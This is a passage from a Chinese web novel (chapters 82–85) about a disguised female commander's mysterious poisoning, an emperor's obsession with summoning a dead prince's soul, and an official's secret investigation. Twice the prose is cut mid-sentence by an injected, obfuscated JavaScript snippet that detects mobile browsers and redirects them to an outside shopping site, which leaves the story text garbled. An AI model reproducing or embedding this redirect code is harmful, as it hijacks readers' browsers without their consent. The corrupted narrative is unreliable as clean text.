“对对对,尽力。”郑大海顿了一下杯子,遗憾道,“可惜姜指挥你来得迟了,一个半月练兵时间,还是短了些。” “不,没有一个半月。”姜六航默默地想,“还要除去七八天。” —— 翌日,早朝之时,金殿之上,龙椅空悬,姜丞相亦不见踪影。百官议论纷纷,各自猜测不已。 82. 第 82 章 丞相府。 姜六航躺在床上,脸上透出不正常的嫣红,呼吸急促,越太医手指搭在她的腕间。 姜家众人屏息围立,空气凝滞。 等越太医收回手,姜子循立即问道:“敢问小女是何病症?” “姜大姑娘舌苔黄厚,汗出不畅,是燥火淤积之兆,非重症。” 众人刚松半口气,却听越太医话锋一转:“然此热症甚是蹊跷,下官反复推敲,竟寻不出这燥火根源究竟在何处,仿佛凭空而生,郁结难散。” “不过无妨,先退热,再慢慢细查。” 越太医提笔开方。 姜子循请他暂留在府,随时探查病人情况。 叮嘱了妻子几句,他匆匆赶到官署,才知皇上缺席早朝,只命冯简传话,一应事务暂由他处置。 “是……衡王?”姜子循压低声音问传话的官员。 话未说全,但那官员心领神会。 皇上登基以来,只要在京,从不无故罢免早朝。每次缺席,皆是因为给衡王招魂。 “下官不知。”官员摇头,语带疑惑,“皇上没有出皇宫,好像也未召见和尚或道士。” 姜子循脑中闪过一丝疑虑,尤其是昨天才在金殿上发生那样的事,更让他不安。但众多事务等着他处理,女儿又病着,他实没精力多想。 忙到午时,家里派了人来。 一见家仆的脸色,姜子循就知不好,连忙问:“大姑娘怎样了?” “丞相,大姑娘一直没好。” 听了这话,姜子循如何还按捺得住,嘱咐了下官几句,就急忙赶回家中。 踏进女儿房中,妻子、持儿、儿媳都在此,儿子也赶了来,个个神情焦灼。 越太医已经替姜六航再次看过诊,斟酌着加大药量,又服了一副药,让人用温热毛巾给病人擦身。最后,他取出一套银针,在烛火上燎过,给病人施了一遍针。 这一折腾,一个时辰过去,病人依旧没有退热。 越太医无计可施,提议请其他太医会诊。 不多时,十来名太医齐聚丞相府。 众人诊断,皆与越太医相同:邪热内炽,淤积难散。 然而所有对症之药用尽,皆如石沉大海。 一天在焦灼中度过,夜晚,摇曳的烛火下,王院长拿着裹在竹签上的湿布,一下下擦着女儿干裂的唇。 “一天一夜了,恒儿还没醒,什么都没吃,身子可怎么撑得住。” 姜子循压下忧虑,安慰道:“太医们也说了,不是重症,说不定明天就醒了。” 王院长眉心不展:“恒儿虽体弱,却无大病。每半月请大夫诊脉,次次都说只要仔细调养,自会慢慢恢复得与常人一般。” “前天从伏龙山回来后,我恐她劳累,特意让大夫给她看过,说无碍。” “怎的突然就病了呢?且来势汹汹。” “大夏最高明的大夫齐集于此,一个小小的发热,怎就治不好呢?” 说了一会,她突然发觉,身边人一直沉默未语。 这可不像丈夫往日的性情。 她刚刚一个人说了这么久,丈夫竟一声未出。 王院长侧目看过去,身边人对上她的目光,下意识地闪躲了一下。 “你……” 她放下手中竹签,严肃地问:“到底怎么回事?你老实说,不许瞒我。” 姜子循知妻子发现了端倪,一定会打破沙锅问到底,再瞒不过,只得道:“我怀疑恒儿这病,是因受到惊吓而起,是心病,” “惊吓?什么惊吓?” 姜子循把昨日早朝的事和盘托出。 王院长听得呆了,不可思议地道:“皇上疑心恒儿是衡王?他这是……疯了?” 两人毫无关系,皇上是如何联想到一起的? 除了“疯了”,她再想不出别的词。 “你也知道,皇上遇上衡王的事,时常理智全失,生出些荒谬绝顶的想法。”想到皇帝这些年举行的招魂仪式,还有八月时,一口咬定去两位居士坟上拜祭的人是衡王鬼魂,姜子循觉得,皇上疑心恒儿也不奇怪,“况且恒儿确实有可疑之处。那三关,可不是简简单单凭本能可闯过的。恒儿应是想起了在北狄国的一些事,却不知为何不肯说出来。” 王院长低声喃喃道:“恒儿吃了那么多苦,定是不愿回忆。”她抬头望着姜子循,语意坚定:“恒儿不想说,我们就当不知道,不要去问她。” “我也这样想。”姜子循点头,满面自责,“昨日下朝时,我见恒儿神色自若,还有兴致参观皇宫,就没在意,哪知还是被吓着了。都怪我,当时不该大意,应该请大夫给恒儿看看的。” 说到这里,他陡然起了一个猜测。 女儿被吓病了,皇上呢? 皇上昨日情绪起伏那样大,是不是也病了,所以今日不能上朝议事? —— 翌日,金銮殿上,气氛沉郁。早朝时辰已到,皇上却迟迟未至,众臣按照品阶肃立,目光频频投向那座空空的龙椅。 “皇上口谕——”在凝滞的气氛中,冯简终于现身,从侧旁走上御阶,站在龙椅旁边,朗声道,“今日罢免早朝,一应朝务,暂由丞相署理。诸卿当恪尽职守,凡有要务,禀承相决断。非十万火急军国重事,不得滋扰。” 姜子循领着群臣接旨。 礼毕,殿内议论声如同煮沸的水般炸开。 “又不上朝?这已是第二日了!” “究竟是为何?” “毫无征兆,深宫紧锁,音讯全无,这……” 惶惶不安的气息在殿内弥漫。 冯简宣完旨,从殿后出来,刚走几步,听得后面叫唤。 “冯统领,留步!” 冯简转身,正见姜丞相急步而来。 “丞相……”他声音干涩地唤道。 “到底怎么回事?皇上还在宫里吗?龙体可还安好?”姜子循低声问。 “在宫里,可我不知皇上到底什么情况。前天午时皇上回殿后,就不许我们进去了,有事只隔着门吩咐,送进去的饭食,也没吃多少。” 这位御林军统领此刻全然没了刚才在殿上的沉着镇定,脸上掩不住的惶急。 “前天午时?两天两夜了?”姜子循倒吸一口凉气,无法置信,“你是御林军统领,护卫皇上安全是你的第一职责,皇上虽有严令,但你就不会设法偷偷查看一眼,确认一下皇上的安危吗?” “皇上把门从里面关上了,我怎敢强行破开?” “从里面关上?”姜子循目光闪动:“皇上如此,是否……和衡王有关?” 冯简没答话,点了一下头。 果然。姜子循暗自叹息。 一场早朝,如今一个卧病在床,一个闭门不出,两头都让他操心,焦头烂额。 他望着天边升起的朝日,沉吟了一会,沉声道:“今天日落之时,皇上若还是没有出门,你把门破开,进去看看。皇上若要问责,我来承担。” “不用丞相,该我担的,我绝不推诿。”冯简毅然道,“有丞相这句话,我心里就有底了。” “好,若有变故,随时告知我。” 和冯简分别后,姜子循回去处理政务。期间,不时派随从去家里探听,可惜一直没接到好消息。到下午时分,他再无心公务,匆匆归家。 府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045086|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内气氛压抑,众太医聚在一起,个个愁眉紧锁,唉声叹气。 “姜大姑娘这病势缠绵诡异,药石罔效,恐非寻常燥热之症。”越太医面色凝重,打破了沉默。 “越太医之意是……?”姜子循心中发沉。 “我等反复思量,姜大姑娘症状虽似热症,然用药无效,迁延不退,恐是体内潜藏了某种罕见毒物作祟。” “毒?”王院长腿一软,被姜守扶住。 众太医道:“若是毒,需知毒源、毒性才能解,可我们对此一无所知。” “天下之毒,千百万种,更有些偏远地区,或是祖上、师门传下的密毒,听都没听说过。要想解开姜大姑娘所中之毒,不容易啊。” 姜家众人只听得心中冰凉。 正绝望之时,一名太医忽道:“我识得一人,行医多年,足迹踏遍国土,见多识广,于各类蛇毒、蛊毒、瘴毒等都颇有钻研,或许能解姜大姑娘体内毒性。” 姜子循大喜,连忙转向他:“乌太医说的是何人?我立刻去请。” 乌太医是个肤色白皙,三十几岁的男子,恭敬回道:“是京城百草堂新招的一名坐堂大夫,姓周。” 这位被推荐的周大夫来府时,姜守亲自在院门迎接。 周大夫看着他的脸半晌。 姜守迟疑道:“周大夫,可是我有不妥?” “并无不妥。”周大夫摇头,“我是看姜大人长得俊。” 姜守:“?” 周大夫给姜六航诊过脉后,道:“姜姑娘此症,表面上看是肺腑燥热、高热不退,实则是中了一种阴毒瘴气。此毒深入脏腑经络,极其隐蔽,易被误判为热症。若只当热症来治,不仅徒劳无功,反会助长毒气。如果不彻底拔除病根,不到两年,必死无疑。” 王院长被儿子扶着,脸色煞白,听了周大夫这话,强撑着站直,上前一步,颤声问道:“周大夫可有救治之法?” 钱万和姜持紧咬嘴唇,眼中泪花闪烁,牢牢盯着大夫。 “我先开一副药,吃下之后半个时辰可醒来,四天之后可退热,之后再以温和之药固本培元,同时慢慢拔除经络骨髓内的瘴毒。大约一年,可去除体内毒性。”周大夫目光扫过众人,语气不容置疑,“但有一点,若是要我医治,不得再用其他人药方,以免相冲。否则的话,我此刻就离去,你们另请高明。” 姜子循看看床上昏睡的女儿,又瞥眼束手无策的众太医,别无选择。 先答应下来,解了眼前的高热再说。 至于以后……若周大夫有真本事,自然全力配合,如有不妥,再作打算。 拿定主意,姜子循道:“请周大夫开药。” 药煎好服下,屋内陷入焦急的等待。 半个时辰,仿佛无比漫长。 终于,床榻上传来一声呻吟。姜六航眼睫颤动,缓缓睁开了眼睛。 “恒儿!”王院长扑到床边。 “姐姐!” “大妹妹!” 姜持和钱万也都围拢过去,脸上欢喜。 姜子循重重松了口气,心中巨石稍落,但旋即又悬起。 女儿醒了,宫里的那位,现在又如何? —— 勤政殿门口,冯简遥望天际,直至最后的余晖消失。 他眼中闪过一丝决绝,进殿,开启机关,走入地道,来到密室门前。 “皇上。” 唤了三声,里面才传出沙哑的回音:“走开。” 冯简深吸一口气,后退几步,猛冲向前,和身撞向那扇隔绝的门。 “哐当——!” 门倒下的瞬间,一股浓重的血腥气扑面而来。 83. 第 83 章 眼前的景象让冯简魂飞魄散,四肢冰凉。 他一直担心的这一天,终于还是来了。 皇上僵立在桌案前,刺目的鲜红顺着他垂在身侧的手指滴到地上,砸在地砖上,发出单调而惊心的“嗒——嗒——”声。 “皇上!”冯简肝胆俱裂,几乎是扑爬过去,“扑通”一声跪在皇帝脚边。接着,他反应过来,猛地弹起身就要往外冲。 “太医!快传太——” “站住。” 这声并不大,却把冯简脚步钉在原地,再不能动。 “不要叫太医,拿药,给朕包扎。” 随着声音,人影越过他,向门口走去。 冯简握紧拳头,眼神剧烈挣扎,最终还是不敢违抗圣命,狠狠一顿足,跟了上去。 地上铺满散落的纸张,他的脚落下时,小心避开。 视线扫过纸面,一股寒意窜上脊背。 纸上画的,全是一张张人脸,耳朵、眉毛、鼻子……所有的脸上,都缺了一双眼。有些画了一半便戛然而止,有些则完全空白。这些没有眼睛的脸孔扭曲地铺陈着,在昏暗光线下透出难以言喻的诡异。 出了地道,来到殿内,秦信在桌前坐下,冯简连忙取了药膏和洁净布条,半跪在主子身侧,小心翼翼地托起那只染血的手臂,掀开被血浸透的衣袖。 小臂上,赫然三道深深划痕。 冯简强抑着手抖,往上面涂上药膏,用布条紧紧地一圈圈缠绕起来。 秦信任由他动作,身体纹丝未动。 “皇上怎可如此损伤龙体?”冯简声音中带着哽咽,“您心里不舒坦,可以打骂奴才,可以去猎杀野兽,怎可这样?” “冯简。” 皇上的声音轻飘飘的,听得他头皮发麻。 “臣在。” “我画不出来了。”皇帝的目光茫然地落在空中,“那双眼,刻在我的脑子里,烙我的在心上,我怎会再也画不出来了呢?三天,一张都没画出来。” 冯简想起那些缺了眼睛的面孔,喉头发紧:“皇上是画不出眼睛吗?” “我不知道,画的到底是谁的眼,我画不出了,再也画不出了……” 那声音里藏着深深的恐惧。 冯简喉头滚动,艰难地道:“皇上,画不出,便暂且放下吧,兴许,过些时日就能画出了呢?” 等了半晌才又响起皇上的声音:“把悟尘大师叫来。” 冯简领命而去,屋子里独剩一人。 手臂上的药膏渗入肌理,传来一阵阵刺痛,他向后仰靠在椅背上,重重喘息。 他以为世上再不会有人,能如赤霄剑客那般,神似六航。他以为看清赤霄剑客后,再不会被其他人所惑。 可是,怎又出了一个姜恒? 那双眼,纵使他自刺,用蚀骨疼痛保持清醒,仍然分不清。 他清楚地知道自己爱着的是谁,可在漫长而无望的煎熬下,日复一日,年复一年,会否终有一天,移一丝情意到旁人身上? 这念头带来的恐惧比手臂伤口的疼痛更深刻。 门口传来冯简的通报,秦信深吸一口气,强行压下翻腾的心绪,坐直身子。 悟尘进来,走到面前,合掌行礼:“皇上。” “坐。”秦信颔首,待他坐定后,缓缓道,“大师来京后遍阅宫中典籍,遍访衡王旧识,对引魂入体之事,可有进展?” 悟尘眼中骤然燃起两点亮光:“皇上,贫僧不负所托,已窥得一丝天机门径,愿竭尽所能,为皇上引渡衡王英魂,重临人世!” 秦信绷紧肩背,只觉耳中轰轰作响,声音从紧咬的牙关中挤出:“有几分把握?” “皇上,此乃造化之举,殊为不易,需得反复实验、调整、巩固,至少半年才可见成效。”悟尘语速加快,带着压抑不住的激动,“然贫僧钻研此道多年,敢言有四分把握。” 秦信紧紧盯着和尚,眼神深不见底,哑声道:“四分,已是极难得了。” 悟尘又道:“如果能找到一具和衡王魂魄高度契合的肉身,这把握,还能再提高一分。” “何为高度契合?” 悟尘眼中光芒更盛:“皇上是世上最熟悉衡王的人,皇上心中,谁的神韵气度、言行举止,乃至那不经意流露的神态,最肖似衡王当年?此等人物,便是承载衡王魂魄,使其重归人世的绝佳容器!” 两个人影突地劈入秦信脑海。 一会儿是身轻如燕,踏着万丈深渊上狭窄通道而过的赤霄剑客。 一会儿是金殿之上,和他在台阶上一上一下,相对而立的姜指挥。 这个未消,那个又来,交替往复,撕扯着他的神经。 他猛地闭了一下眼,用力把那两个身影从脑海中驱除。 “这身体,可限男女?” “魂魄归位,重在契合。若是皇上不介意皮囊表象,则男女无别。” “移魂后,原本那人的魂魄呢?”秦信握紧的拳头在袖中颤抖,嘴唇发白,“是去了别的地方?还是……就此消亡?” 悟尘眼中划过一抹意外,随即嘴角向上挑起一丝极淡的不以为然的弧度。 九五至尊,为达成目的,何必在意一个蝼蚁的性命? 他不露声色地摇头:“这其中的玄奥,贫僧也还未能尽知。然天道有常,旧魂不去,新魄难安,此乃必然之理。” 那就是,十死无生了。 秦信的手死死扣着匕首,指关节捏得咯咯作响,紧了又松,松了又紧,眸中明明灭灭,似有滔天巨浪翻涌、冲撞、撕扯。 漫长的死寂之后,殿中响起沙哑的声音。 “你先下去,朕……再想想。” —— 姜六航醒来时,从庸叔叔已在身边。家里人围着她,笑中带泪,说话轻声细语,仿佛她是手心的一捧雪,呵出的气息稍重都怕化了。 她看得清家人眼里的自责。 这让她越发愧疚。 他们以为没有照顾好她,可其实不是,是她瞒着他们许多事。 她不敢想,若是将来毒性不能去除,她不得不离开,家人会有多么伤心。纵使可以骗他们说,是去了山谷治病,可此生再不得见,不啻于死别,是往他们心上插刀子。 认亲之前,她就想到了这点,可她还是进了家门,只为抓住那一点留下的机会。 她是最自私的。 她对不住这些疼爱她的家人。 “饿不饿?”王院长的手覆在女儿额上,语音温和,带着诱哄孩子的柔软,“灶上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049622|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煮了鲜肉粥,很香,要不要吃点?” “要。”姜六航鼻尖一酸,额头轻轻蹭了蹭母亲的手掌。 钱万赶紧让人去端粥。 王院长接过丫鬟手中的粥碗,舀了一勺,喂到女儿嘴边。 姜六航张嘴吃了,热流从喉间往下,进到胃里,暖意迅速弥漫开,驱散了虚弱与不适。姜持坐在床边,手里拿着帕子,时而给她擦一擦嘴角,动作细致认真。 她抬目看去,姜大人和姜守站在床前,望着她,满面关切。 愧疚之余,因着这被团团围绕的爱,姜六航心里忽然就生了许多的力量。 区区毒性而已,她一定能战胜! 姜六航的这场发热又持续了四天才退下。 四天后,姜六航退烧了,开始喝周大夫配的汤药,调理身子。刚能起身,她就想去上朝,却被家人强按住。姜大人发话,至少要在家休养六七天,任凭姜六航怎么撒娇都不松口。 这天,丫鬟来传话,问小裴国公来访,可否相见。 姜六航连忙让请。 她生病的这些天里,很有些人上门探望,就连皇宫也有表示,送来了很多滋补药材。 但来访者都没来见她,只是留下礼物,由姜子循或姜守陪着说了会话就离开了。 这会大约是打听到她的病好得差不多了,裴佑才请求相见。 “姜指挥,没打扰你养病吧?”裴佑进门就笑道。 “没有,裴国公来得正好,我正发闷呢。”姜六航让座。 两人稍稍客套了几句,话题马上转到练兵、布阵、战役等方面。从用兵之道到具体的战例分析,从步骑配合到水陆协同,从阵型演变到奇袭和固守,越谈越投机。 不知不觉时间流逝,裴佑恐怕姜六航大病初愈,精力不济,意犹未尽地停下来。 “我明年三月才离京,还有的是时间,日后再与姜指挥畅谈。”她挑眉道,“姜指挥好好练兵,我们下月在北郊痛快战一场。” “好。”姜六航爽快应下。 裴佑望着她的眼睛,目光微凝,叹道:“姜指挥,你要是早几年来中原,说不定能见到姜帅,姜帅定会喜欢你。” 姜六航心脏猛地一跳,手指不自觉地捏紧袖口:“久仰姜帅大名,可惜无缘得见。” “你的排兵布阵,许多地方和姜帅相似。难怪谢尚书怀疑你和姜帅有渊源,特意到伏龙山找人询问。” 姜六航:!!! 她全身都陡然绷紧,连舌头都僵硬了,心中慌跳不已。 谢思礼应该查不出什么吧? 她已经尽力掩饰和控制,和姜帅的作战风格,只是相似,却是不同的。 “谢尚书怎么没来问我?”她竭力让声音平稳。 “你不是都不记得了吗?”裴佑理所当然地道,“问你也没用啊。” 送走裴佑,姜六航靠在床头,紧张地思索着:从成为姜恒的那天起,她是否露出了什么破绽? —— 与此同时,皇宫马场上,那眉毛稀疏的内侍战战兢兢站着,听到铁面无私的谢尚书声音传来,清冷威严。 “那天姜指挥从哪条路过来,说了什么,做了什么,又往哪条路去,前前后后,所有细节,一件不漏,全部告诉我。” 84. 第 84 章 与裴佑交谈后的第二天,姜六航正接过丫鬟捧上的一杯茶,另一个丫鬟掀帘而入:“大姑娘,谢尚书来访,问姑娘可得空相见?” 姜六航手一抖,一杯茶全洒在了裙裾上。 匆匆换过衣物,赶往前堂时,她抑制不住地一阵阵心慌。面对谢思礼,莫名的心虚让她绷紧神经。 姜六航把来访的裴佑直接迎进居室,可却不敢对谢思礼也如此。 尽管反复确认,房间里并无可暴露身份的事物。 在门槛前,姜六航攥紧手,深吸一口气,这才抬步跨入。 堂内,谢思礼身姿端正坐在客座品茶,闻声抬眼看来。 那双眼睛清凌凌的,澄澈得仿佛能映出人心,落在姜六航脸上时,让她感觉到一股无形的巨大压力。 “姜指挥,冒昧叨扰,还望见谅。”谢思礼放下茶盏起身行礼。 姜六航还礼,竭力让声音平稳:“贵客临门,蓬荜生辉,谢尚书请坐。” 两人隔着桌案分宾主落座。 谢思礼身后侍立着一个男子,穿青布短打,瘦长脸。 姜六航收回视线,将心神集中在侧边的人。 谢思礼不疾不徐开口,字字清晰:“前几日,我特意去了一趟伏龙山。” 姜六航呼吸微窒。 “我详细询问了姜指挥的闯关过程,”谢思礼语音平静,“又专程拜访应尚书,请他复盘了与姜指挥对战的那三局。” 她目光在姜六航脸上逡巡,带着锐利的探究:“姜指挥破八阵图时,手段之果决利落,令人惊讶。第二关调虎离山,竟似对守将性情熟知于心。与应尚书的对局,行军布阵和姜帅颇有相似之处。” 姜六航用力掐住掌心,强自镇定道:“谢尚书此言……是何意?” “我想问问,姜指挥想起什么没有?譬如,是否曾见过姜帅本人?得过一二指点?” 原来是为此,并非识破了她的身份。 一股庆幸升起,紧绷的心弦微松,姜六航暗自长舒一口气,面上却露出茫然:“我脑海中只有一些极为模糊的翻阅兵书零碎画面,至于姜帅,却无此记忆。” 探寻的目光定在她脸上,姜六航屏息,强迫自己坦然回视。 终于,那令人窒息的凝视移开去。 “原来如此。”谢思礼饮了一口茶,放下杯子,“姜指挥日后若想起任何与姜帅相关的线索,烦请立即告知于我。” 姜六航满口应下:“好。” 谢思礼起身:“既如此,便不打扰姜指挥养病了,告辞。” 姜六航:……这就走了? 她简直不敢相信,跟着起身,声音带上了一丝轻快:“谢尚书慢走。” 然而,就在谢思礼即将踏出门槛的刹那,她脚步倏然一顿,转身。 姜六航心不由得一沉:“……谢尚书还有什么事?” 谢思礼目光落在她的袖口,语气平淡:“姜指挥先前与皇上可是旧识?” “谢尚书何出此言?”姜六航心头警铃大作,“我此前一直在北狄,那天上朝,才第一次得睹天颜。” “那天在殿上,我见姜指挥捡起一颗滚落的珠子,纳入袖中,彼时姜指挥的神情,颇是怔忡。”谢思礼缓缓道,“我因此以为,姜指挥和皇上,或许是旧识。” 姜六航:!!! 袖中的那颗珠子,蓦然间变成了一块烙铁,烫得她皮肤发疼。 万万没想到,在那样混乱的时刻,人人震骇的时候,谢思礼竟注意到了她这个微不足道的拾珠动作。 “不,我以前没见过皇上,只是顺手捡起。”她声音干涩,“至于失神,是因初见天威,惶恐至极。” 谢思礼没有再追问,拱了一下手,转身离去。 直到那背影消失在院外,姜六航紧绷的肩膀才垮塌下来。 这回是真的走了。 可是她心里的不安却持续扩大,总觉得有什么破绽落在了谢思礼的眼中,而她,却茫然不知那破绽究竟在何处。 她伸手入袖,紧紧捏住那颗珠子。 另一边,走出府门,眼见四周无人,谢思礼低声问身后的人:“如何?可听出端倪?” 瘦长脸躬身,也压低声音道:“大人,卑职从未听过这个声音。” “你确定?” 瘦长脸又仔细想了一下,道:“卑职要是听过,肯定记得。即使她刻意改变嗓音和音调,也逃不过卑职的耳。除非……除非她喝药彻底改变了嗓子。” 谢思礼站住,招了一下手。 一个黑衣汉子不知从哪儿窜出来,站到她面前。 “夏长,你随他去,再听一个人的声音。” 待两人走后,谢思礼回到刑部。 桌案上堆着许多卷宗,她却无心去看。 纷杂话语在耳边交织。 “姜指挥正好走到棚边,赤云就发了狂。” “排兵布阵,像是姜帅手把手教出来的。” “……” 那些数年来始终没有破解的疑点再次浮现。 凭空出现在王府的斩月楼刺客。 山顶参战却怎么都找不到踪影的十数人。 挖出的干干净净没有大火痕迹的坑洞。 “大人,夏长求见。” 外面传来声音打断她的思绪。 夏长入内行礼。 “怎么样?听出什么了吗?”谢思礼问。 “大人,那人是鬼手神医,孙从庸。” 谢思礼眼神蓦地剧烈晃动了一下,声音中含着一丝不易察觉的颤抖:“神医?” 夏长毫不迟疑地点头:“卑职早年行走江湖,与其有过数面之缘,绝不会听错。” 谢思礼手指无意识地摩挲着书页,脑中无数念头转动。 竟是江湖闻名的鬼手神医,易容藏匿在姜指挥身边。 她迅速取出调查报告,指尖划过一行字迹:“周大夫言道,姜恒身中瘴毒,两年内若不得解,必死无疑。” 合上报告,谢思礼指尖冰冷,沉默片刻,摆手道:“今日之事,不得泄露半字。去吧。” “是!”夏长退出。 待脚步声消失,谢思礼唤道:“来人。” 先前的黑衣汉子应声而入。 “夏长方才可有向你透露他听到的是谁?”谢思礼目光锁住他。 黑衣汉子躬身:“回大人,没有,卑职们都知道规矩。” 谢思礼眼底变幻,最后道:“找个差事,立刻将夏长远远调出京城。” 黑衣汉子没有表现出讶异的神色:“请问大人,要调离多久?” “先两年。”谢思礼向来清澈的目光有些幽远,“若有变再说。” 黑衣汉子领命。 谢思礼点着桌案,一件件吩咐。 “安排得力人手到北狄,详查青面鬼才魏枕书其人其事,” “彻查鬼手神医孙从庸近四年所有行踪轨迹、接触之人、所为何事,一丝一毫勿漏。” “细查姜指挥入京后的所有举动。” 若真……如她所想,将是一场天翻地覆。 事关重大,查清楚之前,不能泄出半点。 脑中骤然闪过皇帝的身影。 招魂阵里,面色疯狂地抛洒碎片,金銮殿上,脚步踉跄地奔上台阶。 谢思礼闭了闭眼,遮住眸底的情绪。 在掌握确凿证据之前,绝不能将任何捕风捉影的线索呈报御前。 —— 终于得姜大人准许,重又上朝之后,姜六航每天在皇宫训练场和宫外校场之间奔波,紧锣密鼓地练兵,为即将到来的演武做准备。 只是在早朝之时,听着上座那人微哑的语音,或是忙碌的间隙,偶尔触到袖中那颗珠子,或是一天结束,晚上躺在床上之时,丝丝密密的不安缠上心头。 所幸一直风平浪静。 皇帝再没在早朝点过她的名,甚至没朝她的方向多看一眼,之后也未召见过,和她说一句话。 而谢思礼,也再没来寻她。 有时遇见,谢思礼神色如常,客气地和她打招呼,就如对着一个寻常没有深交的同僚。 姜六航渐渐把担忧深埋进心底,专注于眼前的练兵。 此事倒是进行得很顺利。 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只能用如臂指使、行云流水来形容。 那从容的气度,那洞悉战场、算无遗策的风格…… 沈以贵心中升起一股强烈的熟悉感。 恍惚间,他又重回了旌旗蔽日的沙场,在将军身侧,听将军一声声令下,看敌军步步瓦解。 就像……千百次经历过的场景重现。 “咚!”鼓声擂响,军士大声宣布,“时间到!” 所有的军士停下动作,静了一瞬,守军发出震耳欢呼。 “赢了!守住了!”郑指挥满脸兴奋跳上高台,“沈将军,姜指挥,我们赢了!” 另两位指挥也上来,脸上不见战败的沮丧,满面敬佩地冲着姜六航抱拳:“姜指挥名不虚传,我们心服口服。” “侥幸而已,再多半刻钟,我们就坚持不住了。” “姜指挥,你就别谦虚了。”曾指挥道,“我们‘伤亡’远超你们,越往后人数差越大。别说一刻钟,一个时辰也休想闯过!” “是啊,”鲁指挥接口,目光灼灼,“姜指挥阵法变换时机拿捏之准,配合之妙,出神入化,我等大开眼界。” “过奖过奖。”姜六航连连摆手,“全赖军士奋勇,郑指挥治军严谨,令行禁止。” 郑指挥大笑:“这功劳我可不敢领,若非姜指挥你这几日调教阵法,我只会硬碰硬,可守不住旗子。” 四人正说得热闹,左卫将军笑着走来:“姜指挥有将帅之才,不必过谦。演武定于十一月二十五,只有二十几天了。我看,接下来御林军操练便全权交给姜指挥调度,如何?” 三位指挥都无异议。 左卫将军转向沈以贵:“沈将军,你看怎样?咦,沈将军,你发什么呆呢?” “啊……”沈以贵猛地回神,目光在姜六航脸上定了一瞬,其中情绪复杂难辨,“行,就按将军说的办。” 两位将军勉励了众人几句,结伴离去。 姜六航伫立原地,盯着沈以贵的背影,不自觉地咬了咬唇。 那五年,两个亲卫离她最近、相处最久,熟悉她的一举一动。沈以贵方才,是看出了什么吗? —— 这些天,忙碌之时,姜六航还在考虑另一件要紧事。 姜大人五十寿辰在即,她得准备一件寿礼。 自己手上有银钱,却不方便拿出来,若是拿家里的钱买贵重礼物,又总有借花献佛之嫌。送亲手缝制的鞋袜、手套、荷包等等,她又没这个技能。 思来想去,她决定给姜大人送一枚平安符。虽不值很多钱,胜在有诚意。 转眼到了十一月二十。 这天是休沐日,姜家三兄妹加上一个小姜元,清晨从家里出发,登上马车,一路向东,朝着檀林寺驶去。 今日求得平安符,请高僧在佛前供奉十日,待十一月三十演武结束取回。十二月初二,正好送给姜大人。 85. 第 85 章 巳时初,姜家几人到达檀林寺。 他们从第一尊菩萨开始,一个不漏,诚心诚意地拜过去。直拜了一个时辰,才把所有的菩萨拜完,每人求了一枚平安符。 四人没有急着返城,在寺庙周围各式各样的摊点上闲逛。 “秦学!”姜元忽地眼睛一亮,朝不远处挥手。 姜家三兄妹看过去,却见是秦修撰牵着一个小孩子,身侧紧跟着一位妇人。 两边相聚,互相见礼。 “秦修撰也是来求平安符吗?”姜守瞄一眼秦家三人的腰间,问道。 “是啊。”秦实抚着腰间崭新的平安符,“高僧给我算过,今年家里有一大劫,所以来求个心安。” “檀林寺的平安符向来灵验,秦修撰定能逢凶化吉。”姜守笑道,“今年只有一个多月了,待过了年关,明年元月,选一闲暇之日,我作东,请秦修撰小酌一杯,权当贺岁祛晦。” 秦实眼中流露出感激,拱手道:“借姜侍郎吉言,秦某先行谢过!” 寒暄过后,双方道别。两个小家伙却难舍难分,互相拉钩郑重约定下次一起玩耍,才一步三回头地被各自大人牵走。 姜六航刚随家人走出几步,眼角余光蓦然捕捉到一个擦肩而过的身影。 那人戴着宽大斗笠,笠檐压得极低,遮住了大半面容,一身粗布短打毫不起眼,腰间挂一把长剑,剑鞘的顶端雕刻着一个三角形符号。 姜六航心头猛地一跳,迅速看向那人握剑的手。 那是一只骨节分明、布满薄茧的手,而手背上,赫然横亘着一条寸许长、颜色发暗的旧伤痕。 龙天行! 湖兰龙家数一数二的高手! 当年她曾与龙天行交过手,此人武功和会州逍遥剑贾录在伯仲之间。 湖兰龙家本质上经营的是最顶级的保镖行当,信誉卓著,经手之事几乎从未失手。 他们行事素以家族声誉为重,不宣扬个人武功,所以龙天行虽与贾录武功相当,在江湖上的名头却远不如他响亮。 姜六航不动声色地观察周围,很快发现,除了龙天行,至少还有八名龙家精英分散四周。 他们看似随意,实则站位精妙、步履默契,正不着痕迹地向同一方向移动,分明在暗中拱卫某人。 是谁? 竟能请动龙天行这等顶尖高手,再加上八名精英暗卫? 这手笔可真大! 要不少钱! 姜六航仔细观察这些人所站的方位,以及他们移动的轨迹,意外地发现,他们护在中心的,竟似是秦家三人。 “哥哥、姐姐,看那边!”姜持指着一个捏泥人的摊子,“我们过去,一人捏一个。” 声音打断思绪,姜六航按下心中惊诧,和家人往那头去。 逛到午时,四人在庙中吃了斋饭,这才归家。 另一边,秦实带着妻儿返回后,径直到书房写好一封信,抬头准备唤人,却见窗外妻子正在练箭。 他暂未出声,踱到窗边,凝神观看。 屋檐下,一精壮汉子扬手,数个拳头大小的圆球迅疾抛向空中。 妻子右臂倏地抬起,袖口微震,“嗖!嗖!嗖!”数声破空轻响,寒芒激射,圆球应声落地。 “六个!全中!”那汉子喊道,跑去捡起圆球。 